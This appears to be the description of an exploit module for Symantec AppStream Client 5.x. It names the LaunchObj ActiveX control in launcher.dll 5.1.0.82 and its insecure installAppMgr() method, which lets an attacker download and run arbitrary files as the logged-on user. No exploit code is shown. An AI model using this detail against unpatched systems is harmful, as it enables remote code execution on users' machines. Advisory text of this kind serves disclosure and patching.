This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability  
is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"  
method. The insecure method can be exploited to download and execute arbitrary files in the  
context of the currently logged-on user.
